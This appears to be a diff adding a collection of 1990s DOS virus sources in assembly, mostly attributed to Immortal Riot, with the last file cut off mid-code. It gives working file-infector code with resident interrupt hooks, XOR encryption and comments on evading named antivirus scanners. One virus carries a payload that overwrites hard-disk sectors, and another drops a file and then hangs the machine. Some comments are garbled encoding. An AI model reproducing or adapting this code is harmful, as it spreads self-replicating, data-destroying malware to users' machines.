count db 1 dup (0) ; …â® ¥áâì áé¥â稪
|
||||
REG DB 1 DUP (0)
|
||||
endvir:
|
||||
end gadost ; ˆ ¢á¥!
|
|
@ -0,0 +1,197 @@
|
|||
; Virusname: Extasy
|
||||
; Origin: Sweden
|
||||
; Author: Metal Militia
|
||||
|
||||
; This virus can be found with any anti-virus program, since it's been
|
||||
; around for a while now. (SCAN/TB-SCAN/F-PROT/SOLOMON that is..)
|
||||
;
|
||||
; It's a resident .COM infector, without any encryption or stealth
|
||||
; capabilities. It infects when you execute (4bh) or closes (3eh).
|
||||
; This virus looks pretty much like RAVAGE, since it's pretty much
|
||||
; alike except for that RAVAGE infects .EXE files too.
|
||||
;
|
||||
; I stopped with this virus since it's so totally buggy that you'll find
|
||||
; it almost at once. This is the reason why i give you the source code.
|
||||
; In my later resident things, there will be such things as encryption,
|
||||
; stealth etc. i think..
|
||||
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
.radix 16
|
||||
.code
|
||||
|
||||
viruslength = heap - _small
|
||||
startload = 90 * 4
|
||||
|
||||
_small:
|
||||
call relative
|
||||
oldheader dw 020cdh
|
||||
dw 0bh dup (0)
|
||||
relative:
|
||||
pop bp
|
||||
push ds
|
||||
push es
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
mov es,ax
|
||||
mov di,startload
|
||||
cmp word ptr ds:[di+25],di
|
||||
jz exit_small
|
||||
|
||||
lea si,[bp-3]
|
||||
mov cx,viruslength
|
||||
db 2Eh
|
||||
rep movsb
|
||||
|
||||
mov di,offset old21 + startload
|
||||
mov si,21*4
|
||||
push si
|
||||
movsw
|
||||
movsw
|
||||
pop di
|
||||
mov ax,offset int21 + startload
|
||||
stosw
|
||||
xchg ax,cx
|
||||
stosw
|
||||
|
||||
exit_small:
|
||||
pop es
|
||||
pop ds
|
||||
|
||||
or sp,sp
|
||||
jnp returnCOM
|
||||
|
||||
returnGNU:
|
||||
returnCOM:
|
||||
mov di,100
|
||||
push di
|
||||
mov si,bp
|
||||
movsw
|
||||
movsb
|
||||
ret
|
||||
|
||||
infect:
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push ds
|
||||
push es
|
||||
|
||||
mov ax,3d02
|
||||
int 21
|
||||
xchg ax,bx
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
|
||||
mov ax,5700h
|
||||
int 21h
|
||||
|
||||
push cx
|
||||
push dx
|
||||
|
||||
mov si,offset oldheader+startload
|
||||
|
||||
mov ah,3f
|
||||
mov cx,18
|
||||
push cx
|
||||
mov dx,si
|
||||
int 21
|
||||
|
||||
cmp ax,cx
|
||||
jnz go_already_infected
|
||||
|
||||
mov di,offset target + startload
|
||||
push di
|
||||
rep movsb
|
||||
pop di
|
||||
|
||||
mov ax,4202
|
||||
cwd
|
||||
int 21
|
||||
|
||||
cmp ds:[di],'ZM'
|
||||
jz infectNOT
|
||||
cmp ds:[di],'MZ'
|
||||
jz infectNOT
|
||||
|
||||
sub ax,3
|
||||
mov byte ptr ds:[di],0e9
|
||||
mov ds:[di+1],ax
|
||||
|
||||
sub ax,viruslength
|
||||
cmp ds:[si-17],ax
|
||||
jnz finishinfect
|
||||
|
||||
go_already_infected:
|
||||
pop cx
|
||||
jmp short already_infected
|
||||
|
||||
db "EXTASY!"
|
||||
db "(c) Metal Militia / Immortal Riot"
|
||||
|
||||
int21:
|
||||
cmp ax,4b00
|
||||
jz kewl
|
||||
cmp ax,3e00
|
||||
jnz oops
|
||||
mov ah,45
|
||||
int 21
|
||||
jmp kewl
|
||||
|
||||
oops:
|
||||
jmp chain
|
||||
|
||||
infectNOT:
|
||||
jmp go_already_infected
|
||||
|
||||
kewl:
|
||||
jmp infect
|
||||
|
||||
finishinfect:
|
||||
mov cx,viruslength
|
||||
mov dx,startload
|
||||
mov ah,40
|
||||
int 21
|
||||
|
||||
mov ax,4200
|
||||
xor cx,cx
|
||||
cwd
|
||||
int 21
|
||||
|
||||
mov ah,40
|
||||
mov dx,di
|
||||
pop cx
|
||||
int 21
|
||||
already_infected:
|
||||
pop dx
|
||||
pop cx
|
||||
|
||||
mov ax,5701h
|
||||
int 21h
|
||||
|
||||
mov ah,3e
|
||||
int 21
|
||||
exitinfect:
|
||||
pop es
|
||||
pop ds
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
chain:
|
||||
db 0ea
|
||||
heap:
|
||||
old21 dw ?, ?
|
||||
target dw 0ch dup (?)
|
||||
|
||||
endheap:
|
||||
end _small
|
|
@ -0,0 +1,246 @@
|
|||
; ------------------------------------------------------------------------------
|
||||
;
|
||||
; - Faces of Death -
|
||||
; Created by Immortal Riot's destructive development team
|
||||
; (c) 1994 The Unforgiven/Immortal Riot
|
||||
;
|
||||
; ------------------------------------------------------------------------------
|
||||
; þ Undetectable COM-infector(s) with a neat pay-load system! þ
|
||||
; ------------------------------------------------------------------------------
|
||||
.model tiny
|
||||
.radix 16
|
||||
.code
|
||||
org 100h
|
||||
|
||||
start:
|
||||
|
||||
first_gen_buffer db 00,00,00,00 ; for first generation only!
|
||||
|
||||
v_start:
|
||||
|
||||
entry_point:
|
||||
|
||||
mov sp,102h ; get the delta offset so tbscan cant
|
||||
call get_delta ; flag it as flexible entry point
|
||||
get_delta:
|
||||
mov bp,word ptr ds:[100h]
|
||||
mov sp,0fffeh
|
||||
sub bp,offset get_delta
|
||||
|
||||
|
||||
mov ax,0305h ; this code was included to avoid detection
|
||||
xor bx,bx ; from tbscan. The vsafe disabeling code can
|
||||
int 16h ; be used as well, but f-prot heuristics
|
||||
; complains about it.
|
||||
|
||||
call en_de_crypt ; decrypt the virus
|
||||
jmp short real_start ; and continue...
|
||||
|
||||
encrypt_value dw 0 ; random xor (encryption) value
|
||||
|
||||
write_virus:
|
||||
|
||||
call en_de_crypt ; write encrypted copy of the virus
|
||||
mov ah,40 ;
|
||||
mov cx,code_end-v_start ; # bytes
|
||||
lea dx,[bp+v_start] ; dx:100h
|
||||
int 21 ;
|
||||
call en_de_crypt ; decrypt virus again for further processing
|
||||
ret
|
||||
|
||||
en_de_crypt:
|
||||
|
||||
mov ax,word ptr [bp+encrypt_value]
|
||||
lea si,[bp+real_start]
|
||||
mov cx,(enc_end-real_start+1)/2
|
||||
|
||||
xor_loopie:
|
||||
|
||||
xor word ptr [si],ax ; encrypts two bytes/loop until all
|
||||
inc si ; code between real_start and enc_end
|
||||
inc si ; are encrypted
|
||||
loop xor_loopie
|
||||
ret
|
||||
|
||||
real_start:
|
||||
|
||||
cmp word ptr cs:[5dh],'?-' ; check for -? in the command line
|
||||
jne chk_cond ; no valid virus option!
|
||||
|
||||
mov ah,9 ; tell them that i wrote the virus,
|
||||
lea dx,[bp+offset v_name] ; and quit without infecting!
|
||||
int 21h
|
||||
int 20h
|
||||
|
||||
chk_cond:
|
||||
|
||||
mov ah,2ch ; get time of 1/100 of a second value from
|
||||
int 21h ; the system clock
|
||||
|
||||
cmp dl,58 ; value == 58h (88d)
|
||||
jne get_drive ; nope!
|
||||
|
||||
cr_file: ; value = 58h
|
||||
|
||||
mov ah,3ch ; create the file c:\dos\keyb.com
|
||||
mov cx,0 ; Doh! One byte wasted!
|
||||
lea dx,[bp+file_create]
|
||||
int 21h
|
||||
|
||||
xchg ax,bx
|
||||
mov ah,40h ; write the
|
||||
mov cx,len ; 80hex virus,
|
||||
lea dx,[bp+write] ; from this virus
|
||||
int 21h ; to keyb.com
|
||||
|
||||
mov ah,3eh ; close file
|
||||
lea dx,[bp+offset file_create] ; c:\dos\keyb.com
|
||||
int 21h
|
||||
jmp $ ; and hang
|
||||
|
||||
get_drive:
|
||||
|
||||
mov ah,19h ; get drive from where we are executed from
|
||||
int 21h ; check if it's a: or b:
|
||||
cmp al,2 ; if so, return control to the original
|
||||
jb quit ; program without infecting other files
|
||||
|
||||
lea si,[bp+org_buf] ; copy the first four bytes of the file
|
||||
mov di,100 ; (from di:100h) to org_buf
|
||||
movsw ;
|
||||
movsw ;
|
||||
|
||||
lea dx,[bp+code_end] ; set our own dta to code_end, so
|
||||
call set_dta ; the paramters when findfiles arent
|
||||
; destroyed
|
||||
|
||||
lea dx,[bp+direct_infect] ; if present, infect
|
||||
call dirinfect ; \dos\edit.com
|
||||
|
||||
mov ah,4e ; search for com files
|
||||
lea dx,[bp+com_files] ;
|
||||
find_next:
|
||||
int 21
|
||||
|
||||
jc no_more_files ; no more files find, exit!
|
||||
call infect ; found a find, infect it!
|
||||
|
||||
mov ah,4f ; search next file
|
||||
jmp short find_next ; and see if we find one
|
||||
|
||||
no_more_files: ;
|
||||
mov dx,80 ; set the dta to 80h (default)
|
||||
call set_dta ;
|
||||
|
||||
quit: ;
|
||||
mov di,100 ; return control to original program
|
||||
push di ;
|
||||
ret
|
||||
|
||||
infect:
|
||||
lea dx,[bp+code_end+1e] ; 1e = adress to filename in ds:dx in our
|
||||
; new dta area!
|
||||
dirinfect:
|
||||
|
||||
mov ax,3d02 ; open file
|
||||
int 21 ; in read/write mode
|
||||
|
||||
jnc infect_it ; if the file \dos\edit.com doesnt exist
|
||||
ret ; return, and search first comfile
|
||||
|
||||
infect_it:
|
||||
xchg bx,ax ; filehandle in bx
|
||||
|
||||
mov ax,5700 ; get time/date
|
||||
int 21
|
||||
|
||||
push dx ; save date
|
||||
push cx ; save time
|
||||
|
||||
mov ah,3f ; read the first four bytes
|
||||
mov cx,4 ; of the file to org_buf
|
||||
lea dx,[bp+org_buf]
|
||||
int 21
|
||||
|
||||
cmp byte ptr [bp+org_buf+3],07h ; previous infected
|
||||
jz finish_infect ;
|
||||
|
||||
cmp word ptr [bp+org_buf],9090h ; double nop
|
||||
jz finish_infect ;
|
||||
|
||||
cmp word ptr [bp+org_buf],5a4dh ; ZM (exe file)
|
||||
jz finish_infect ;
|
||||
|
||||
cmp word ptr [bp+org_buf],4d5ah ; MZ (exe-file)
|
||||
jz finish_infect ;
|
||||
|
||||
cmp byte ptr [bp+org_buf+1],6Dh ; command.com
|
||||
jz finish_infect ;
|
||||
|
||||
mov ax, word ptr [bp+code_end+1ah] ; <1000 bytes
|
||||
cmp ax,1000d ;
|
||||
jb finish_infect
|
||||
|
||||
cmp ax,64000d ; >64000 bytes
|
||||
ja finish_infect ;
|
||||
|
||||
mov ax,4202 ; move file-pointer
|
||||
xor cx,cx ; to end of file
|
||||
cwd
|
||||
int 21
|
||||
|
||||
sub ax,3 ; substract bytes
|
||||
mov word ptr [bp+first_four+1],ax ; to our own jump
|
||||
|
||||
get_value:
|
||||
|
||||
mov ah,2ch ; get system clock for
|
||||
int 21h ; 1/100 of a second
|
||||
jz get_value ; if zero = get new value
|
||||
add ax,3 ; this will be used for
|
||||
mov word ptr [bp+encrypt_value],dx ; the xor-value
|
||||
call write_virus ; write virus to end of file
|
||||
|
||||
mov ax,4200 ; move file-pointer to
|
||||
xor cx,cx ; top of file
|
||||
cwd
|
||||
int 21
|
||||
|
||||
mov ah,40 ; write our own jump
|
||||
mov cx,4 ; instruction to the
|
||||
lea dx,[bp+first_four] ; beginning
|
||||
int 21
|
||||
|
||||
finish_infect:
|
||||
mov ax,5701 ; set back
|
||||
pop cx ; time
|
||||
pop dx ; date
|
||||
int 21 ;
|
||||
|
||||
mov ah,3e ; close file
|
||||
int 21
|
||||
|
||||
ret ; return and continue!
|
||||
|
||||
set_dta:
|
||||
mov ah,1a ; code to set the disk transfer area
|
||||
int 21 ;
|
||||
ret
|
||||
|
||||
v_name db "Faces of Death - (c) 1994 The Unforgiven/Immortal Riot$"
|
||||
|
||||
direct_infect db '\DOS\EDIT.COM',0
|
||||
file_create db 'c:\dos\keyb.com',0
|
||||
|
||||
write db "þJ€ÄNºJÍ!s´,Í!€úOr°¹
|
||||
endwrite:
|
||||
|
||||
len equ endwrite-write
|
||||
|
||||
com_files db '*.com',0
|
||||
first_four db 0e9,90,90,07 ; buffer to calculate the new entry
|
||||
org_buf db 90,90,0CDh,20 ; buffer to save the first four bytes
|
||||
enc_end:
|
||||
|
||||
code_end:
|
||||
end start
|
|
@ -0,0 +1,37 @@
|
|||
Fact is a 45 bytes overwriting resident COM/EXE infector. Infects files at
|
||||
load and/or execute program by overwriting the infected file.
|
||||
Compile Fact with Turbo Assembler v 4.0 by typing:
|
||||
TASM /M FACT.ASM
|
||||
TLINK /t /x FACT.OBJ
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
org 100h
|
||||
code_begin:
|
||||
mov ax,3521h ; Get interrupt vector 21h
|
||||
int 21h
|
||||
mov word ptr [int21_addr],bx
|
||||
mov word ptr [Int21_addr+02h],es
|
||||
mov ah,25h ; Set interrupt vector 21h
|
||||
lea dx,int21_virus ; DX = offset of int21_virus
|
||||
int 21h
|
||||
xchg ax,dx ; DX = number of bytes to keep res...
|
||||
int 27h ; Terminate and stay resident!
|
||||
int21_virus proc near ; Interrupt 21h of Fact
|
||||
cmp ah,4bh ; Load and/or execute program?
|
||||
jne int21_exit ; Not equal? Jump to int21_exit
|
||||
mov ax,3d01h ; Open file (write)
|
||||
int 21h
|
||||
xchg ax,bx ; BX = file handle
|
||||
push cs ; Save CS at stack
|
||||
pop ds ; Load DS from stack (CS)
|
||||
mov ah,40h ; Write to file
|
||||
mov cx,(code_end-code_begin)
|
||||
lea dx,code_begin ; DX = offset of code_begin
|
||||
int21_exit:
|
||||
db 0eah ; JMP imm32 (opcode 0eah)
|
||||
code_end:
|
||||
int21_addr dd ? ; Address of interrupt 21h
|
||||
virus_name db '[Fact]' ; Name of the virus
|
||||
endp
|
||||
end code_begin
|
|
@ -0,0 +1,343 @@
|
|||
; VirusName: Fade to Black
|
||||
; Country : Sweden
|
||||
; Author : Metal Militia / Immortal Riot
|
||||
; Date : 07-29-1993
|
||||
;
|
||||
; This is a mutation of Creeping Tormentor, whick was discovered
|
||||
; in Feb 1992. The origin is "unknown" (attention Patricica), it's
|
||||
; written in Sweden by Tormentor / Demoralized Youth
|
||||
; Many thanx goes to Tormentor for the original code.
|
||||
;
|
||||
; This is a Parasite, Resident, Appending COM-files infector.
|
||||
; Searches for the string sUMsDos (?) in memory.
|
||||
; search for Jerusalen, and if it's locate it, crash the HD.
|
||||
;
|
||||
; This will just fine, and
|
||||
; McAfee Scan v105 can't find it, and
|
||||
; S&S Toolkit 6.5 don't find it either.
|
||||
;
|
||||
; I haven't tried with scanners like Fprot/Tbscan,
|
||||
; but they will probably report some virus structure.
|
||||
;
|
||||
; Best Regards : [Metal Militia]
|
||||
; [The Unforgiven]
|
||||
|
||||
|
||||
code segment byte public
|
||||
assume cs:code, ds:code, es:code, ss:code
|
||||
|
||||
|
||||
org 100h
|
||||
|
||||
|
||||
codebeg:
|
||||
|
||||
|
||||
mov ax,0700h ; Remove virus from code!
|
||||
int 21h ;^-- Scan string (before it was ax,043FFh)
|
||||
|
||||
; Let's allocate some mem!
|
||||
|
||||
mov ax,ds
|
||||
sub ax,11h
|
||||
mov ds,ax
|
||||
cmp byte ptr ds:[0100h],5Ah
|
||||
jnz skip
|
||||
mov ax,ds:[0103h]
|
||||
sub ax,40h
|
||||
jb skip
|
||||
mov ds:[0103h],ax
|
||||
sub word ptr ds:[0112h],50h
|
||||
mov es,ds:[0112h]
|
||||
push cs
|
||||
pop ds
|
||||
mov cx,code_end-codebeg
|
||||
mov di,100h
|
||||
push di
|
||||
mov si,di
|
||||
rep movsb
|
||||
|
||||
push es
|
||||
pop ds
|
||||
|
||||
mov ax,351Ch
|
||||
int 21h
|
||||
mov word ptr ds:[int1Cret],bx
|
||||
mov word ptr ds:[int1Cret+2],es
|
||||
mov al,21h
|
||||
int 21h
|
||||
mov word ptr ds:[real21+1],bx
|
||||
mov word ptr ds:[real21+3],es
|
||||
|
||||
mov ah,25h
|
||||
mov dx,offset int21beg
|
||||
int 21h
|
||||
mov al,1Ch
|
||||
mov dx,offset int1Cnew
|
||||
int 21h
|
||||
|
||||
push cs
|
||||
push cs
|
||||
pop es
|
||||
pop ds
|
||||
|
||||
ret
|
||||
|
||||
skip: int 20h
|
||||
|
||||
|
||||
int21beg: push ax
|
||||
sub ax,4B00h
|
||||
jz infect
|
||||
pop ax
|
||||
cmp ax,0700h ; Check if ....
|
||||
jne real21
|
||||
|
||||
mov ax,word ptr ds:[retdata]
|
||||
mov si,ax
|
||||
mov di,100h
|
||||
mov cx,code_end-codebeg
|
||||
rep movsb
|
||||
|
||||
mov ax,100h
|
||||
|
||||
pop cx
|
||||
pop cx
|
||||
push es
|
||||
push ax
|
||||
iret
|
||||
|
||||
real21: db 0EAh, 00h, 00h, 00h, 00h ; Jump to org21vec.
|
||||
|
||||
|
||||
retdata: db 00h, 00h
|
||||
|
||||
f_time: dw 0000h
|
||||
|
||||
f_date: dw 0000h
|
||||
|
||||
infect: pop ax
|
||||
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push di
|
||||
push ds
|
||||
push dx
|
||||
push si
|
||||
|
||||
|
||||
mov ah,43h ; Get file attr.
|
||||
int 21h
|
||||
mov ax,4301h
|
||||
and cx,0FEh ; Strip the Read-only-flag
|
||||
int 21h
|
||||
|
||||
mov ax,3D02h ; Open victim.
|
||||
int 21h
|
||||
|
||||
xchg ax,bx
|
||||
|
||||
call sub_2
|
||||
|
||||
sub_2: mov di,sp ; God what I hate that Eskimo!
|
||||
mov si,ss:[di]
|
||||
inc sp
|
||||
inc sp
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov ax,5700h ; Get file's time and date
|
||||
int 21h
|
||||
mov [si-(sub_2-f_time)],cx
|
||||
mov [si-(sub_2-f_date)],dx ; And save them...
|
||||
|
||||
mov ah,3Fh ; Read X byte from begin.
|
||||
mov cx,code_end-codebeg
|
||||
add si,code_end-sub_2 ; SI points to EOF
|
||||
mov dx,si
|
||||
int 21h
|
||||
|
||||
|
||||
cmp word ptr [si],'MZ' ; Mark Zimbowski? (EXE?)
|
||||
je close
|
||||
cmp word ptr [si],'ZM' ; Zimbowski Mark? (EXE?)
|
||||
je close
|
||||
mark: cmp word ptr [si+(mark-codebeg+4)],'½¾' ; infected?
|
||||
je close
|
||||
|
||||
call put_eof ; move file ptr to EOF
|
||||
|
||||
cmp ax,(0FFFFh-(code_end-codebeg)-100h)
|
||||
ja close
|
||||
cmp ax,code_end-codebeg+100h
|
||||
jb close
|
||||
|
||||
add ax,100h
|
||||
mov word ptr ds:[si-(code_end-retdata)],ax
|
||||
|
||||
mov ah,40h ; Flytta (move) beg to end.
|
||||
mov cx,code_end-codebeg
|
||||
mov dx,si
|
||||
int 21h
|
||||
|
||||
mov ax,4200h ; fptr to filbeg.
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21h
|
||||
|
||||
mov ah,40h ; Write virus to beg.
|
||||
mov cx,code_end-codebeg
|
||||
mov dx,si
|
||||
sub dx,cx
|
||||
int 21h
|
||||
|
||||
close: mov ax,5701h
|
||||
mov cx,[si-(code_end-f_time)]
|
||||
mov dx,[si-(code_end-f_date)]
|
||||
int 21h
|
||||
|
||||
mov ah,3Eh
|
||||
int 21h ; close file, bx=file handle
|
||||
|
||||
pop si
|
||||
pop dx
|
||||
pop ds
|
||||
pop di
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
|
||||
|
||||
jmp real21
|
||||
|
||||
put_eof: mov ax,4202h
|
||||
xor dx,dx
|
||||
xor cx,cx
|
||||
int 21h
|
||||
ret
|
||||
|
||||
|
||||
int1Cnew:
|
||||
|
||||
push ax
|
||||
inc byte ptr cs:[counter]
|
||||
mov al,30h
|
||||
cmp byte ptr cs:[counter],al
|
||||
jz scan
|
||||
pop ax
|
||||
|
||||
|
||||
quit: jmp dword ptr cs:[int1Cret]
|
||||
|
||||
scan:
|
||||
push bx
|
||||
push cx
|
||||
push di
|
||||
push ds
|
||||
push dx
|
||||
push es
|
||||
push si
|
||||
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
cld
|
||||
xor bx,bx
|
||||
mov byte ptr cs:[counter],bh
|
||||
mov cx,0FA0h
|
||||
|
||||
mov ax,0b800h
|
||||
mov es,ax
|
||||
xor di,di
|
||||
|
||||
again: mov al,byte ptr cs:[text+bx]
|
||||
sub al,80h
|
||||
repnz scasb
|
||||
jnz stick
|
||||
|
||||
maybe: inc di
|
||||
inc bx
|
||||
cmp bx,10d
|
||||
jz beep
|
||||
|
||||
mov al,byte ptr cs:[text+bx]
|
||||
sub al,80h
|
||||
scasb
|
||||
jz maybe
|
||||
xor bx,bx
|
||||
jmp again
|
||||
|
||||
beep:
|
||||
xor cx,cx
|
||||
mov bx,word ptr cs:[int1Cret]
|
||||
mov es,word ptr cs:[int1Cret+2]
|
||||
mov ax,251Ch
|
||||
int 21h
|
||||
|
||||
overagain: mov dx,0180h
|
||||
xor bx,bx
|
||||
|
||||
reset: mov ah,00h
|
||||
inc bx
|
||||
cmp bl,5h
|
||||
jz raise
|
||||
inc cx
|
||||
int 13h
|
||||
|
||||
hoho: mov ax,0380h
|
||||
inc cx
|
||||
int 13h
|
||||
jc reset
|
||||
jmp hoho
|
||||
|
||||
raise: xor cx,cx
|
||||
xor bx,bx
|
||||
inc dx
|
||||
cmp dl,85h
|
||||
jnz hoho
|
||||
jmp overagain
|
||||
|
||||
stick:
|
||||
pop si
|
||||
pop es
|
||||
pop dx
|
||||
pop ds
|
||||
pop di
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
|
||||
|
||||
jmp quit
|
||||
|
||||
|
||||
counter: db 00h
|
||||
|
||||
text: db 's'+80h, 'U'+80h, 'M'+80h, 's'+80h, 'D'+80h, 'o'+80h
|
||||
db 's'+80h
|
||||
|
||||
; This is what it scans the screen for --^ sUMsDos
|
||||
; just a little bit cryptic eh ?
|
||||
|
||||
int1Cret: db 0EAh, 00h, 00h, 00h, 00h
|
||||
|
||||
code_end: ; THE END.
|
||||
|
||||
; This isn't really a bullshit note, this is a Metallica Note ;)
|
||||
; which means quality! Metal Up Your Ass!
|
||||
|
||||
bullshit_note db "Metal Militia / Immortal Riot "
|
||||
DB "Fade To Black "
|
||||
DB "Things not what they used to be "
|
||||
DB "Missing one inside of me "
|
||||
DB "Deathly lost, this can't be real "
|
||||
DB "Cannot stand this hell I feel... "
|
||||
|
||||
code ends
|
||||
end codebeg
|
||||
|
||||
; Think that would be it..
|
||||
|
|
@ -0,0 +1,81 @@
|
|||
code segment'code'
|
||||
assume cs:code, ds:code, ss:code, es:code
|
||||
org 100h
|
||||
dta equ endcode + 10
|
||||
fatmanid equ 34
|
||||
start:
|
||||
|
||||
jmp virus
|
||||
hoststart:
|
||||
db 90h,90h,90h ;NOP
|
||||
db 0cdh,020h,1ah,1ah ;INT 20
|
||||
hostend:
|
||||
virus:
|
||||
call $ + 2
|
||||
fatman:
|
||||
pop bp ;Search for next files
|
||||
sub bp,offset fatman
|
||||
mov ah,1ah
|
||||
lea dx,[bp +dta]
|
||||
int 21h
|
||||
mov ah,4eh
|
||||
lea dx,[bp + filespec]
|
||||
xor cx,cx
|
||||
fileloop:
|
||||
int 21h
|
||||
jc quit
|
||||
mov ax,3d02h ;Open file read and write
|
||||
lea dx,[bp + offset dta + 30] ;Move the offset of filename
|
||||
int 21h ;into dx register
|
||||
jc quit
|
||||
xchg bx,ax
|
||||
mov ah,3fh ;read from file
|
||||
mov cx,4 ;read 4 bytes off file
|
||||
lea dx,[bp + orgjmp] ;store the 4 bytes
|
||||
int 21h
|
||||
mov ax,4202h ;point to end of file
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21h
|
||||
sub ax,03h ;Back three bytes from org
|
||||
mov [bp + newjmp + 2], ah ;high location
|
||||
mov [bp + newjmp + 1], al ;low location
|
||||
mov [bp + newjmp + 3], fatmanid;his ID
|
||||
mov ah,0e9h ;JMP
|
||||
mov [bp + newjmp],ah
|
||||
mov ah,40h ;write to file
|
||||
mov cx,endcode - virus
|
||||
lea dx,[bp + virus]
|
||||
jc quit
|
||||
mov ax,4200h ;Moving to TOP of file
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21h
|
||||
mov ah,40h ;writing 4 bytes to top of file
|
||||
mov cx,4
|
||||
lea dx,[bp + offset newjmp]
|
||||
int 21h
|
||||
mov ah,1ah
|
||||
mov dx,080h
|
||||
int 21h
|
||||
quit:
|
||||
lea si,[bp + offset thisjmp]
|
||||
mov di,0100h
|
||||
mov cx,04h
|
||||
cld
|
||||
rep movsb
|
||||
mov di,0100h
|
||||
jmp di
|
||||
|
||||
|
||||
|
||||
|
||||
filespec db '*.COM',0
|
||||
orgjmp db 4 dup (?)
|
||||
newjmp db 4 dup (?)
|
||||
thisjmp db 4 dup (?)
|
||||
oldjmp db 09h,0cdh,020h,90h
|
||||
endcode:
|
||||
|
||||
code ends
|
||||
end start
|
|
@ -0,0 +1,577 @@
|
|||
;
|
||||
; ÜÜ Û
|
||||
; ßßß Virus Magazine Û Box 176, Kiev 210, Ukraine IV 1997
|
||||
; ßÛÛ ßßßßßßßßßßßßßßßß Û ßßßßßßßßßßßßßßßßßßß ß ßßßßÞßßß ÛßßßßßßÛ
|
||||
; ÞÛ ÛßÜ Ûßß Üßß Üßß ÜÛÜ Üßß ÛßÛ Ý Û ÜßÛ Û Üßß ÛÜÜ Û Û Û Û
|
||||
; Û Û Û Ûß Ûß Û Û Ûß Û Û Û Û Û Û Û Û Û Û Û Û Û
|
||||
; Û Þ Þ Þ ÞÜÜ ÞÜÜ Þ ÞÜÜ ÞÜß ßÛ ßÜÛ Þ ÞÜÜ ÞÜÜÜ Û Û Û Û
|
||||
; Þ ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ ÛÜÜÜÜÜÜÛ
|
||||
; (C) Copyright, 1994-97, by STEALTH group WorldWide, unLtd.
|
||||
;
|
||||
;-------------------------------------------------------------------------
|
||||
; MCE-Len*512
|
||||
; ‚¨àãá § à ¦ ¥â COM ¨ EXE ä ©«ë ¯à¨ ¨å ᮧ¤ ¨¨
|
||||
; (â®ç¥¥ ¯à¨ § ªàë⨨ ®¢®á®§¤ ®£® ä ©« ).
|
||||
; ’ ª¦¥ § à ¦ ¥âáï § £à㧮çë© á¥ªâ®à ¯¥à¢®£® «®£¨ç¥áª®£® ¤¨áª ¯¥à¢®¬
|
||||
; HD. (ï à¥è¨« ¥ ®¯à¥¤¥«ïâì ¤¥©á⢨⥫ìë© á¨áâ¥¬ë© ¤¨áª - «¥ì
|
||||
; ¢®§¨âìáï!!!)
|
||||
; ‚ ¯ ¬ïâì ¨áâ «¨à㥬áï ’Ž‹œŠŽ ¯à¨ ¯¥à¥§ £à㧪¥ ¬ è¨ë.
|
||||
; <20>ਠ§ ¯ã᪥ ¯à®£à ¬¬ë ä-樥© 4B00h ¢¨àãá «¥ç¨â § £à㧮çë© á¥ªâ®à.
|
||||
; <20>ਠ¨á¯®«¥¨¨ ä-樨 4Cxxh § £à㧮çë© á¥ªâ®à § à ¦ ¥âáï ᮢ !!!
|
||||
;
|
||||
; „ ë© â¥ªáâ ¥ ¯à®å®¤¨« ®¯â¨¬¨§ æ¨î...Sorry.
|
||||
;-------------------------------------------------------------------------
|
||||
.model tiny
|
||||
.code
|
||||
;-------------------------------------------------------------------------
|
||||
len equ 4 ; Len virus in sectors (include boot part)
|
||||
;////////////////////////////////////////////////////
|
||||
; Start BOOT part (installer for Dos part...)
|
||||
org 0
|
||||
;////////////////////////////////////////////////////
|
||||
BootStart:
|
||||
jmp BootCode
|
||||
;--------------------------------------------------------------
|
||||
BootData db 40h dup (0) ; Data for boot sector.
|
||||
;--------------------------------------------------------------
|
||||
BEEP:
|
||||
push ax
|
||||
mov ax,0e07h
|
||||
int 10h
|
||||
pop ax
|
||||
ret
|
||||
BootCode:
|
||||
nop
|
||||
nop
|
||||
cli
|
||||
xor di,di
|
||||
mov si,7C00h
|
||||
mov bx,si
|
||||
mov ds,di
|
||||
mov ss,di
|
||||
mov sp,si
|
||||
sti
|
||||
;
|
||||
int 12h
|
||||
sub ax,96 ; - 96 kb.
|
||||
mov cl,6
|
||||
shl ax,cl
|
||||
mov es,ax ; ES = segment for our body
|
||||
;
|
||||
cld
|
||||
mov cx,512
|
||||
rep movsb ; Transmit body
|
||||
;
|
||||
push ax
|
||||
mov ax,offset BootInstall
|
||||
push ax
|
||||
retf
|
||||
;-------------------------------------------------------------
|
||||
BootInstall:
|
||||
mov si,1Ch*4
|
||||
push si
|
||||
lea di,OldTimerAddr
|
||||
movsw
|
||||
movsw
|
||||
;
|
||||
cli
|
||||
pop di
|
||||
mov word ptr ds:[di],offset TimerManager
|
||||
mov word ptr ds:[di+2],es
|
||||
sti
|
||||
;
|
||||
push ds
|
||||
pop es
|
||||
mov ax,0201h
|
||||
mov cx,0009
|
||||
mov dx,0080h
|
||||
push es
|
||||
push bx
|
||||
int 13h
|
||||
retf
|
||||
;-------------------------------------------------------------
|
||||
OldTimerAddr dw 0,0
|
||||
;-------------------------------------------------------------
|
||||
TimerManager:
|
||||
push ds es ax bx di si
|
||||
;
|
||||
xor ax,ax
|
||||
mov es,ax
|
||||
mov ds,ax
|
||||
;
|
||||
mov ax,ds:[(21h*4)+2]
|
||||
cmp ah,08
|
||||
ja ExitTimer
|
||||
mov cs:Seg21h,ax
|
||||
mov ax,ds:[21h*4]
|
||||
mov cs:Ofs21h,ax
|
||||
;
|
||||
mov word ptr ds:[21h*4],offset InstallDosManager
|
||||
mov ds:[(21h*4)+2],cs
|
||||
;
|
||||
push cs
|
||||
